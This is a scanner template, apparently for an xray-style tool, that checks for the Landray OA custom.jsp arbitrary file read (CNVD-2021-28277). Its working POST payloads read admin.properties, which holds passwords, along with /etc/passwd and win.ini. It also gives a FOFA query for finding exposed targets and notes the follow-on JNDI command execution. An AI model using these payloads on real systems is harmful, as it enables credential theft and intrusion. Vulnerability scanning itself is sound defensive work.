CNVD-2021-28277: Landray OA Custom JSP file rread

id: CNVD-2021-28277

info:
  name: Landray OA Custom JSP file rread
  author: B1anda0
  severity: critical
  verified: true
  description: |
    深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用漏洞获取敏感信息，读取配置文件得到密钥后访问 admin.do 即可利用 JNDI远程命令执行获取权限
    fofa: app="Landray-OA系统"
  reference:
    - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
  tags: landray,lfi,cnvd,cnvd2021
  created: 2023/06/16

rules:
  r0:
    request:
      method: POST
      path: /sys/ui/extend/varkind/custom.jsp
      body: var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
    expression: response.status == 200 && response.body.bcontains(b'password') && response.body.bcontains(b'kmss.properties.encrypt.enabled')
  linux0:
    request:
      method: POST
      path: /sys/ui/extend/varkind/custom.jsp
      body: var={"body":{"file":"file:///etc/passwd"}}
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  windows0:
    request:
      method: POST
      path: /sys/ui/extend/varkind/custom.jsp
      body: var={"body":{"file":"file:///c://windows/win.ini"}}
    expression: response.status == 200 && response.body.bcontains(b"bit app support") && response.body.bcontains(b"fonts") && response.body.bcontains(b"extensions")
expression: r0() || windows0() || linux0()